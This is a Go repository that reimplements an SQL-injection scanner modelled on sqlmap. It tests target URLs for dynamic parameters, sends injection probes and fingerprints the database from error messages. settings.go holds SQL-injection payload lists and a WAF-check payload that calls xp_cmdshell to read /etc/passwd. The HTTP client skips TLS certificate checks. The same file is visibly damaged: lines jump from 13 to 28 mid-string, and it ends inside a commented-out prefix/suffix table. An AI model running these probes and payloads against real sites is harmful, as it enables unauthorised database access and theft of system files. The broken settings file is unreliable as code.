├── .gitignore ├── .idea ├── .gitignore ├── misc.xml ├── modules.xml ├── sqlmap.iml └── vcs.xml ├── README.md ├── go.mod ├── go.sum ├── picture └── image-20200612110801081.png └── tools ├── basicCheck.go ├── checkIsSamePage.go ├── genPayload.go ├── globalLogger.go ├── heuristicCheckSqlInjection.go ├── request.go ├── request_test.go ├── settings.go ├── start.go └── xml └── errors.xml /.gitignore: -------------------------------------------------------------------------------- 1 | # Created by .ignore support plugin (hsz.mobi) 2 | ### Example user template template 3 | ### Example user template 4 | 5 | # IntelliJ project files 6 | .idea 7 | *.iml 8 | out 9 | gen 10 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/sqlmap.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## golang 实现 sqlmap 2 | 3 | ### 目前已实现: 4 | 5 | 1. 页面相似度算法 6 | 7 | 2. url连接性检测 8 | 3. url稳定性检测 9 | 4. 基于报错的启发式检测 10 | 5. DBMS识别 11 | 12 | 截图: 13 | ![image-20200612110801081](https://github.com/bad-lucifer/gosqlmap/blob/master/picture/image-20200612110801081.png) 14 | 15 | ### 本项目由于工作计划原因,更新中断,21年将继续完成。 16 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module sqlmap 2 | 3 | go 1.12 4 | 5 | require ( 6 | github.com/beevik/etree v1.1.0 7 | github.com/valyala/fasthttp v1.14.0 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/andybalholm/brotli v1.0.0 h1:7UCwP93aiSfvWpapti8g88vVVGp2qqtGyePsSuDafo4= 2 | github.com/andybalholm/brotli v1.0.0/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y= 3 | github.com/beevik/etree v1.1.0 h1:T0xke/WvNtMoCqgzPhkX2r4rjY3GDZFi+FjpRZY2Jbs= 4 | github.com/beevik/etree v1.1.0/go.mod h1:r8Aw8JqVegEf0w2fDnATrX9VpkMcyFeM0FhwO62wh+A= 5 | github.com/klauspost/compress v1.10.4 h1:jFzIFaf586tquEB5EhzQG0HwGNSlgAJpG53G6Ss11wc= 6 | github.com/klauspost/compress v1.10.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs= 7 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= 8 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= 9 | github.com/valyala/fasthttp v1.14.0 h1:67bfuW9azCMwW/Jlq/C+VeihNpAuJMWkYPBig1gdi3A= 10 | github.com/valyala/fasthttp v1.14.0/go.mod h1:ol1PCaL0dX20wC0htZ7sYCsvCYmrouYra0zHzaclZhE= 11 | github.com/valyala/tcplisten v0.0.0-20161114210144-ceec8f93295a/go.mod h1:v3UYOV9WzVtRmSR+PDvWpU/qWl4Wa5LApYYX4ZtKbio= 12 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 13 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e h1:3G+cUijn7XD+S4eJFddp53Pv7+slrESplyjG25HgL+k= 14 | golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 15 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 16 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 17 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 18 | -------------------------------------------------------------------------------- /picture/image-20200612110801081.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jweny/gosqlmap/96056ba2d27e0f793324c5f1d15c837e799cdfd6/picture/image-20200612110801081.png -------------------------------------------------------------------------------- /tools/basicCheck.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "math/rand" 5 | "net/url" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | var baseData SinglePageBaseData 11 | var source = rand.New(rand.NewSource(time.Now().UnixNano())) 12 | 13 | func init() { 14 | 15 | } 16 | 17 | // 连接性 18 | func checkConnect(conf *ReqConf) (bool, error) { 19 | Info.Println("testing connection to the target URL") 20 | statusCode, body, err := httpDoTimeout(conf) 21 | if err != nil { 22 | Error.Println("error while connect to:", conf.url, "error:", err) 23 | return false, err 24 | } 25 | if statusCode == 200 { 26 | baseData = SinglePageBaseData{ 27 | BaseStatusCode: statusCode, 28 | BaseBodyLength: len(body), 29 | BaseBody: body, 30 | } 31 | Info.Println(conf.url, "can connect") 32 | return true, nil 33 | } 34 | Warning.Println(conf.url, "can not connect") 35 | return false, nil 36 | } 37 | 38 | // 稳定性 39 | func checkStability(conf *ReqConf) (bool, error) { 40 | Info.Println("testing if the target URL content is stable") 41 | secondStatusCode, secondBody, err := httpDoTimeout(conf) 42 | isStability := false 43 | if err != nil { 44 | Error.Println("error while check stability to:", conf.url, "error:", err) 45 | return false, err 46 | } 47 | if secondStatusCode == baseData.BaseStatusCode && checkIsSamePage(secondBody) { 48 | isStability = true 49 | Info.Println(conf.url, "content is stable") 50 | } else { 51 | // 再尝试一次 52 | thirdStatusCode, thirdBody, err := httpDoTimeout(conf) 53 | if err != nil { 54 | Error.Println("error while check stability to:", conf.url, "error:", err) 55 | return false, err 56 | } 57 | if thirdStatusCode == baseData.BaseStatusCode && checkIsSamePage(thirdBody) { 58 | isStability = true 59 | Info.Println(conf.url, "content is stable") 60 | } else { 61 | Warning.Println(conf.url, "content is not stable") 62 | } 63 | } 64 | return isStability, nil 65 | } 66 | 67 | func getAllGetParams(conf *ReqConf) (url.Values, error) { 68 | targetUrl, err := url.Parse(conf.url) 69 | if err != nil { 70 | return nil, err 71 | } 72 | paramMap, err := url.ParseQuery(targetUrl.RawQuery) 73 | if err != nil { 74 | return nil, err 75 | } 76 | return paramMap, nil 77 | } 78 | 79 | func checkParamIsDynamic(conf *ReqConf) (url.Values, error) { 80 | paramMap, err := getAllGetParams(conf) 81 | Info.Println("testing parameters is dynamic") 82 | if err != nil { 83 | return nil, err 84 | } 85 | dynamicList := make(url.Values) 86 | // 遍历参数 替换payload尝试... 87 | if len(paramMap) == 0 { 88 | Warning.Println("not found any param") 89 | } else { 90 | // 遍历每一个参数 91 | for key, value := range paramMap { 92 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+genRandom4Num(source), 1) 93 | currentConf := ReqConf{url: currentUrl} 94 | _, currentBody, err := httpDoTimeout(¤tConf) 95 | if err != nil { 96 | Error.Println(err) 97 | } 98 | flag := checkIsSamePage(currentBody) 99 | if flag == false { 100 | Info.Println("GET parameter", key, "appears to be dynamic") 101 | dynamicList[key] = value 102 | } 103 | } 104 | } 105 | return dynamicList, nil 106 | } 107 | 108 | //payload 替换掉第一个参数 waf条件: samePage为假 && 页面包含关键词 109 | func checkWaf(conf *ReqConf) (bool, error) { 110 | Info.Println("checking if the target is protected by some kind of WAF/IPS") 111 | paramMap, err := getAllGetParams(conf) 112 | Info.Println("testing parameters is dynamic") 113 | if err != nil { 114 | return false, err 115 | } 116 | for key, value := range paramMap { 117 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+IPS_WAF_CHECK_PAYLOAD, 1) 118 | currentConf := ReqConf{url: currentUrl} 119 | _, currentBody, err := httpDoTimeout(¤tConf) 120 | for _, wafKeyword := range WAF_CHECK_KEYWORD { 121 | if strings.Contains(string(currentBody), wafKeyword) { 122 | Warning.Println("\"heuristics detected that the target is protected by some kind of WAF/IPS") 123 | Warning.Println("stop to continue with further target testing") 124 | return true, nil 125 | } 126 | } 127 | if err != nil { 128 | Error.Println(err) 129 | } 130 | break 131 | } 132 | return false, nil 133 | } 134 | -------------------------------------------------------------------------------- /tools/checkIsSamePage.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | // return the len of longest string both in str1 and str2 and the positions in str1 and str2 4 | func SimilarStr(str1 []rune, str2 []rune) (int, int, int) { 5 | var sameLen, tmp, pos1, pos2 = 0, 0, 0, 0 6 | len1, len2 := len(str1), len(str2) 7 | for p := 0; p < len1; p++ { 8 | for q := 0; q < len2; q++ { 9 | tmp = 0 10 | for p+tmp < len1 && q+tmp < len2 && str1[p+tmp] == str2[q+tmp] { 11 | tmp++ 12 | } 13 | if tmp > sameLen { 14 | sameLen, pos1, pos2 = tmp, p, q 15 | } 16 | } 17 | } 18 | return sameLen, pos1, pos2 19 | } 20 | 21 | // return the total length of longest string both in str1 and str2 22 | func SimilarChar(str1 []rune, str2 []rune) int { 23 | maxLen, pos1, pos2 := SimilarStr(str1, str2) 24 | total := maxLen 25 | if maxLen != 0 { 26 | if pos1 > 0 && pos2 > 0 { 27 | total += SimilarChar(str1[:pos1], str2[:pos2]) 28 | } 29 | if pos1+maxLen < len(str1) && pos2+maxLen < len(str2) { 30 | total += SimilarChar(str1[pos1+maxLen:], str2[pos2+maxLen:]) 31 | } 32 | } 33 | return total 34 | } 35 | 36 | // return a int value in [0, 1], which stands for match level 37 | func SimilarText(str1 string, str2 string) float64 { 38 | txt1, txt2 := []rune(str1), []rune(str2) 39 | if len(txt1) == 0 || len(txt2) == 0 { 40 | return 0 41 | } 42 | totalLength := float64(SimilarChar(txt1, txt2)) 43 | return totalLength * 2 / float64(len(txt1) + len(txt2)) 44 | } 45 | 46 | func checkIsSamePage(currentBody []byte) bool{ 47 | currentHTML := string(currentBody) 48 | baseHTML := string(baseData.BaseBody) 49 | isSamePage := false 50 | // 先计算PageRatio 51 | ratio := SimilarText(currentHTML,baseHTML) 52 | if ratio > UPPER_RATIO_BOUND { 53 | isSamePage = true 54 | } 55 | return isSamePage 56 | } -------------------------------------------------------------------------------- /tools/genPayload.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "fmt" 5 | "github.com/beevik/etree" 6 | "math/rand" 7 | "strings" 8 | ) 9 | 10 | func genRandom4Num(source *rand.Rand) string { 11 | return fmt.Sprintf("%04v", source.Int31n(10000)) 12 | } 13 | 14 | func genRandomStr(length int, lowercase bool, alphabet string) string{ 15 | b := make([]byte, length) 16 | for i := range b { 17 | b[i] = alphabet[rand.Intn(len(alphabet))] 18 | } 19 | result := string(b) 20 | if lowercase{ 21 | return strings.ToLower(result) 22 | } 23 | return result 24 | } 25 | 26 | func genHeuristicCheckPayload() string { 27 | payload := genRandomStr(10,false,HEURISTIC_CHECK_ALPHABET) 28 | if strings.Count(payload,"\"") !=1 || strings.Count(payload,"'") !=1 { 29 | payload = genHeuristicCheckPayload() 30 | } 31 | return payload 32 | } 33 | 34 | // 解析xml的话 应该只执行一次 xml --> map 35 | func genDbmsErrorFromXml() map[string]string { 36 | dbmsErrorKeywordList := make(map[string]string) 37 | doc := etree.NewDocument() 38 | if err := doc.ReadFromFile("xml/errors.xml"); err != nil { 39 | panic(err) 40 | } 41 | root := doc.SelectElement("root") 42 | for _, dbms := range root.SelectElements("dbms") { 43 | for _, dbName := range dbms.Attr { 44 | for _ , e := range dbms.SelectElements("error"){ 45 | for _ , errWord := range e.Attr{ 46 | //log.Println(dbName.Value,errWord.Value) 47 | dbmsErrorKeywordList[errWord.Value] = dbName.Value 48 | } 49 | } 50 | } 51 | } 52 | return dbmsErrorKeywordList 53 | } 54 | -------------------------------------------------------------------------------- /tools/globalLogger.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "log" 5 | "os" 6 | ) 7 | 8 | var ( 9 | Info *log.Logger 10 | Warning *log.Logger 11 | Error * log.Logger 12 | Payload * log.Logger 13 | Debug * log.Logger 14 | TrafficOut * log.Logger 15 | ) 16 | 17 | func init(){ 18 | Debug = log.New(os.Stdout,"[DEBUG] ",log.Ldate | log.Ltime | log.Lshortfile) 19 | TrafficOut = log.New(os.Stdout,"[TRAFFIC OUT] ",log.Ldate | log.Ltime | log.Lshortfile) 20 | Info = log.New(os.Stdout,"[INFO] ",log.Ldate | log.Ltime | log.Lshortfile) 21 | Warning = log.New(os.Stdout,"[WARNING] ",log.Ldate | log.Ltime | log.Lshortfile) 22 | Error = log.New(os.Stderr,"[ERROR] ",log.Ldate | log.Ltime | log.Lshortfile) 23 | Payload = log.New(os.Stderr,"[PAYLOAD] ",log.Ldate | log.Ltime | log.Lshortfile) 24 | } 25 | -------------------------------------------------------------------------------- /tools/heuristicCheckSqlInjection.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "regexp" 5 | "strings" 6 | ) 7 | 8 | 9 | var dbmsErrorKeyword map[string]string 10 | 11 | // 启发式检测sql注入:发包尝试让Web应用报错,目的为探测该参数点是否是动态的、是否为可能的注入点 12 | func heuristicCheckSqlInjection(conf *ReqConf) (string, string, error){ 13 | // error based 生成字典 14 | dbmsErrorKeyword = genDbmsErrorFromXml() 15 | 16 | dynamicParams, err := checkParamIsDynamic(conf) 17 | if err != nil{ 18 | return "", "", err 19 | } 20 | if len(dynamicParams) == 0 { 21 | return "", "", err 22 | } 23 | // 遍历每一个动态参数 24 | for key, value := range dynamicParams { 25 | // 生成payload 用于报错 26 | payload := genHeuristicCheckPayload() 27 | currentUrl := strings.Replace(conf.url, key+"="+value[0], key+"="+value[0]+payload, 1) 28 | currentConf := ReqConf{url: currentUrl} 29 | _, currentBody, err := httpDoTimeout(¤tConf) 30 | if err != nil { 31 | Error.Println(err) 32 | return "", "",nil 33 | } 34 | flag := checkIsSamePage(currentBody) 35 | if flag == false { 36 | Payload.Println(currentUrl) 37 | dbms := getDBMSBasedOnErrors(currentBody) 38 | if dbms != ""{ 39 | Info.Println("heuristic (basic) test shows that GET parameter", key, "might be injectable, possible DBMS:", dbms) 40 | return key, dbms, nil 41 | } 42 | } 43 | } 44 | return "", "", nil 45 | } 46 | 47 | // 正则匹配出数据库类型 48 | func getDBMSBasedOnErrors(currentBody []byte) string { 49 | for key , value := range dbmsErrorKeyword{ 50 | match, _ := regexp.MatchString(key, string(currentBody)) 51 | if match == true{ 52 | Debug.Println(key, value) 53 | return value 54 | } 55 | } 56 | return "" 57 | } 58 | 59 | -------------------------------------------------------------------------------- /tools/request.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "crypto/tls" 5 | "fmt" 6 | "github.com/valyala/fasthttp" 7 | "net" 8 | "strings" 9 | "time" 10 | ) 11 | type ReqConf struct { 12 | url string 13 | method string 14 | data string 15 | cookies map[string]interface{} 16 | } 17 | 18 | type SinglePageBaseData struct { 19 | BaseBody []byte 20 | BaseBodyLength int 21 | BaseStatusCode int 22 | } 23 | 24 | // 25 | //type Result struct { 26 | // method string 27 | // paramMap url.Values 28 | // isConnect bool 29 | // isStability bool 30 | //} 31 | 32 | var UPPER_RATIO_BOUND = 0.98 33 | var LOWER_RATIO_BOUND = 0.02 34 | var DIFF_TOLERANCE = 0.05 35 | 36 | var REQUEST_NUMBER = 0 37 | 38 | var scriptUserAgent = "Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0" 39 | 40 | var httpClient = fasthttp.Client{ 41 | Name: scriptUserAgent, 42 | ReadTimeout: 20 * time.Second, 43 | WriteTimeout: 20 * time.Second, 44 | MaxResponseBodySize: 1024 * 1024 * 2, 45 | DisableHeaderNamesNormalizing: true, 46 | Dial: func(addr string) (net.Conn, error) { 47 | return fasthttp.DialTimeout(addr, 5*time.Second) 48 | }, 49 | TLSConfig: &tls.Config{ 50 | // 不验证 ssl 证书,可能存在风险 51 | InsecureSkipVerify: true, 52 | }, 53 | } 54 | 55 | //var goHTTPClient = http.Client{ 56 | // Timeout: 10 * time.Second, 57 | //} 58 | 59 | // GetOriginalBody 返回未压缩的 Body 60 | func GetOriginalBody(response *fasthttp.Response) ([]byte, error) { 61 | contentEncoding := strings.ToLower(string(response.Header.Peek("Content-Encoding"))) 62 | var body []byte 63 | var err error 64 | switch contentEncoding { 65 | case "", "none", "identity": 66 | body, err = response.Body(), nil 67 | case "gzip": 68 | body, err = response.BodyGunzip() 69 | case "deflate": 70 | body, err = response.BodyInflate() 71 | default: 72 | // TODO: support `br` 73 | body, err = []byte{}, fmt.Errorf("unsupported Content-Encoding: %v", contentEncoding) 74 | } 75 | return body, err 76 | } 77 | 78 | // httpDoTimeout 提供http 请求,返回 响应码 body 和 错误 79 | func httpDoTimeout(conf *ReqConf) (int, []byte, error) { 80 | // count request 81 | REQUEST_NUMBER = REQUEST_NUMBER + 1 82 | 83 | request := fasthttp.AcquireRequest() 84 | response := fasthttp.AcquireResponse() 85 | defer fasthttp.ReleaseRequest(request) 86 | defer fasthttp.ReleaseResponse(response) 87 | request.SetRequestURI(conf.url) 88 | request.Header.SetMethod(conf.method) 89 | //todo 加个随机UA 90 | request.Header.SetUserAgent("Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0") 91 | 92 | request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8") 93 | if conf.cookies != nil { 94 | for key, v := range conf.cookies { 95 | request.Header.SetCookie(key, v.(string)) 96 | } 97 | } 98 | err := httpClient.DoTimeout(request, response, 10*time.Second) 99 | //TrafficOut.Println("HTTP request",REQUEST_NUMBER,"\n",request.Header.String()) 100 | if err != nil { 101 | return 0, nil, err 102 | } 103 | body, err := GetOriginalBody(response) 104 | //TrafficOut.Println("HTTP response",REQUEST_NUMBER,"\n",response.Header.String()) 105 | return response.StatusCode(), body, err 106 | } -------------------------------------------------------------------------------- /tools/request_test.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func Test(t *testing.T) { 8 | config := ReqConf{url: "http://192.168.102.135/Less-1/?id=1&name=haha&pass=hehe"} 9 | start(&config) 10 | } 11 | -------------------------------------------------------------------------------- /tools/settings.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | var payloads = []string{ 4 | "'", "')", "';", "\"", "\")", "order by 5 %23--", "\";", "--", "-0", ") AND 1998=1532 AND (5526=5526", 5 | " AND 5434=5692%23", " %' AND 5268=2356 AND '%'='", " ') AND 6103=4103 AND ('vPKl'='vPKl", " ' AND 7738=8291 AND 'UFqV'='UFqV", 6 | "`", "`)", "`;", "\\\\", "%27", "%%2727", "%25%27", "%60", "%5C"} 7 | 8 | var FORMAT_EXCEPTION_STRINGS = []string{"Type mismatch", 9 | "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", 10 | "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", 11 | "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", 12 | "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", 13 | "Attribute validation error for tag", "is not of type numeric", "',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" 28 | 29 | var GENERIC_PROTECTION_KEYWORDS = []string{} 30 | 31 | //前缀与后缀 32 | //需要获取5个对象 33 | //RADNSTR # 随机字符串 4字节 34 | //RANDNUM # 随机数字 随便 35 | //RANDSTR1# 随机字符串 4字节后面修改 36 | //RANDSTR2# 同上 37 | //ORIGINAL# 获取url中的传递参数值 38 | 39 | //var pre_suf = { 40 | //'pre_suf_1': {'prefix': ')', 41 | //'suffix': '('}, 42 | // 43 | //'pre_suf_2': {'prefix': '))', 44 | //'suffix': '(('}, 45 | // 46 | //'pre_suf_3': {'prefix': "')", 47 | //'suffix': "('"}, 48 | // 49 | //'pre_suf_4': {'prefix': '"', 50 | //'suffix': '"'}, 51 | // 52 | //'pre_suf_5': {'prefix': "'", 53 | //'suffix': "'"}, 54 | // 55 | //'pre_suf_6': {'prefix': '")', 56 | //'suffix': '("'}, 57 | // 58 | //'pre_suf_7': {'prefix': ')"', 59 | //'suffix': '"('}, 60 | // 61 | //'pre_suf_8': {'prefix': ")'", 62 | //'suffix': "('"}, 63 | // 64 | //'pre_suf_9': {'prefix': ')))', 65 | //'suffix': '((('}, 66 | // 67 | //'pre_suf_10': {'prefix': ')', 68 | //'suffix': '%23'}, 69 | // 70 | //'pre_suf_11': {'prefix': ')', 71 | //'suffix': '--+'}, 72 | // 73 | //'pre_suf_12': {'prefix': "')", 74 | //'suffix': '%23'}, 75 | // 76 | //'pre_suf_13': {'prefix': "')", 77 | //'suffix': '--+'}, 78 | // 79 | //'pre_suf_14': {'prefix': '"', 80 | //'suffix': '%23'}, 81 | // 82 | //'pre_suf_15': {'prefix': '"', 83 | //'suffix': '--+'}, 84 | // 85 | //'pre_suf_16': {'prefix': "'", 86 | //'suffix': "--+"}, 87 | // 88 | //'pre_suf_17': {'prefix': ')', 89 | //'suffix': ' AND ([RANDNUM]=[RANDNUM]'}, 90 | // 91 | //'pre_suf_18': {'prefix': '))', 92 | //'suffix': ' AND (([RANDNUM]=[RANDNUM]'}, 93 | // 94 | //'pre_suf_19': {'prefix': ')))', 95 | //'suffix': '( AND ((([RANDNUM]=[RANDNUM]'}, 96 | // 97 | //'pre_suf_20': {'prefix': "')", 98 | //'suffix': " AND ('[RANDSTR]'='[RANDSTR]"}, 99 | // 100 | //'pre_suf_21': {'prefix': "'))", 101 | //'suffix': " AND (('[RANDSTR]'='[RANDSTR]"}, 102 | // 103 | //'pre_suf_22': {'prefix': "')))", 104 | //'suffix': " AND ((('[RANDSTR]'='[RANDSTR]"}, 105 | // 106 | //'pre_suf_23': {'prefix': "'", 107 | //'suffix': " AND '[RANDSTR]'='[RANDSTR]"}, 108 | // 109 | //'pre_suf_24': {'prefix': "')", 110 | //'suffix': " AND ('[RANDSTR]' LIKE '[RANDSTR]"}, 111 | // 112 | //'pre_suf_25': {'prefix': "'))", 113 | //'suffix': " AND (('[RANDSTR]' LIKE '[RANDSTR]"}, 114 | // 115 | //'pre_suf_26': {'prefix': "')))", 116 | //'suffix': " AND ((('[RANDSTR]' LIKE '[RANDSTR]"}, 117 | // 118 | //'pre_suf_27': {'prefix': '")', 119 | //'suffix': ' AND ("[RANDSTR]"="[RANDSTR]'}, 120 | // 121 | //'pre_suf_28': {'prefix': '"))', 122 | //'suffix': ' AND (("[RANDSTR]"="[RANDSTR]'}, 123 | // 124 | //'pre_suf_29': {'prefix': '")))', 125 | //'suffix': ' AND ((("[RANDSTR]"="[RANDSTR]'}, 126 | // 127 | //'pre_suf_30': {'prefix': '"', 128 | //'suffix': ' AND "[RANDSTR]"="[RANDSTR]'}, 129 | // 130 | //'pre_suf_31': {'prefix': '")', 131 | //'suffix': ' AND ("[RANDSTR]" LIKE "[RANDSTR]'}, 132 | // 133 | //'pre_suf_32': {'prefix': '"))', 134 | //'suffix': ' AND (("[RANDSTR]" LIKE "[RANDSTR]'}, 135 | // 136 | //'pre_suf_33': {'prefix': '")))', 137 | //'suffix': ' AND ((("[RANDSTR]" LIKE "[RANDSTR]'}, 138 | // 139 | //'pre_suf_34': {'prefix': '"', 140 | //'suffix': ' AND "[RANDSTR]" LIKE "[RANDSTR]'}, 141 | // 142 | //'pre_suf_35': {'prefix': ' ', 143 | //'suffix': '# [RANDSTR]'}, 144 | // 145 | //'pre_suf_36': {'prefix': ' ', 146 | //'suffix': '%23'}, 147 | // 148 | //'pre_suf_38': {'prefix': "'", 149 | //'suffix': " OR '[RANDSTR1]'='[RANDSTR2]"}, 150 | // 151 | //'pre_suf_39': {'prefix': "') WHERE [RANDNUM]=[RANDNUM]", 152 | //'suffix': '%23'}, 153 | // 154 | //'pre_suf_40': {'prefix': "') WHERE [RANDNUM]=[RANDNUM]", 155 | //'suffix': '--+'}, 156 | // 157 | //'pre_suf_41': {'prefix': '") WHERE [RANDNUM]=[RANDNUM]', 158 | //'suffix': '%23'}, 159 | // 160 | //'pre_suf_42': {'prefix': '") WHERE [RANDNUM]=[RANDNUM]', 161 | //'suffix': '--+'}, 162 | // 163 | //'pre_suf_43': {'prefix': ') WHERE [RANDNUM]=[RANDNUM]', 164 | //'suffix': '%23'}, 165 | // 166 | //'pre_suf_44': {'prefix': ') WHERE [RANDNUM]=[RANDNUM]', 167 | //'suffix': '--+'}, 168 | // 169 | //'pre_suf_45': {'prefix': "' WHERE [RANDNUM]=[RANDNUM]", 170 | //'suffix': '%23'}, 171 | // 172 | //'pre_suf_46': {'prefix': "' WHERE [RANDNUM]=[RANDNUM]", 173 | //'suffix': '--+'}, 174 | // 175 | //'pre_suf_47': {'prefix': '" WHERE [RANDNUM]=[RANDNUM]', 176 | //'suffix': '%23'}, 177 | // 178 | //'pre_suf_48': {'prefix': '" WHERE [RANDNUM]=[RANDNUM]', 179 | //'suffix': '--+'}, 180 | // 181 | //'pre_suf_49': {'prefix': ' WHERE [RANDNUM]=[RANDNUM]', 182 | //'suffix': '%23'}, 183 | // 184 | //'pre_suf_50': {'prefix': ' WHERE [RANDNUM]=[RANDNUM]', 185 | //'suffix': '--+'}, 186 | // 187 | //'pre_suf_51': {'prefix': "'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]", 188 | //'suffix': "||'"}, 189 | // 190 | //'pre_suf_52': {'prefix': "'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]", 191 | //'suffix': "||'"}, 192 | // 193 | //'pre_suf_53': {'prefix': "'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]", 194 | //'suffix': "+'"}, 195 | // 196 | //'pre_suf_54': {'prefix': "||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]", 197 | //'suffix': '||'}, 198 | // 199 | //'pre_suf_55': {'prefix': "||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]", 200 | //'suffix': '||'}, 201 | // 202 | //'pre_suf_56': {'prefix': '+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 203 | //'suffix': '+'}, 204 | // 205 | //'pre_suf_57': {'prefix': "+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]", 206 | //'suffix': '+'}, 207 | // 208 | //'pre_suf_58': {'prefix': "')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]", 209 | //'suffix': '%23'}, 210 | // 211 | //'pre_suf_59': {'prefix': "')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]", 212 | //'suffix': '--+'}, 213 | // 214 | //'pre_suf_60': {'prefix': '")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 215 | //'suffix': '%23'}, 216 | // 217 | //'pre_suf_61': {'prefix': '")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 218 | //'suffix': '--+'}, 219 | // 220 | //'pre_suf_62': {'prefix': ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 221 | //'suffix': '%23'}, 222 | // 223 | //'pre_suf_63': {'prefix': ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 224 | //'suffix': '--+'}, 225 | // 226 | //'pre_suf_64': {'prefix': "') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]", 227 | //'suffix': '%23'}, 228 | // 229 | //'pre_suf_65': {'prefix': "') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]", 230 | //'suffix': '--+'}, 231 | // 232 | //'pre_suf_66': {'prefix': '") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 233 | //'suffix': '%23'}, 234 | // 235 | //'pre_suf_67': {'prefix': '") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 236 | //'suffix': '--+'}, 237 | // 238 | //'pre_suf_68': {'prefix': ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 239 | //'suffix': '%23'}, 240 | // 241 | //'pre_suf_69': {'prefix': ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]', 242 | //'suffix': '--+'}, 243 | // 244 | //'pre_suf_70': {'prefix': '` WHERE [RANDNUM]=[RANDNUM]', 245 | //'suffix': '--+'}, 246 | // 247 | //'pre_suf_71': {'prefix': '` WHERE [RANDNUM]=[RANDNUM]', 248 | //'suffix': '%23'}, 249 | // 250 | //'pre_suf_72': {'prefix': '`) WHERE [RANDNUM]=[RANDNUM]', 251 | //'suffix': '%23'}, 252 | // 253 | //'pre_suf_73': {'prefix': '`) WHERE [RANDNUM]=[RANDNUM]', 254 | //'suffix': '--+'}, 255 | // 256 | //'pre_suf_74': {'prefix': '`=`[ORIGINAL]`', 257 | //'suffix': ' AND 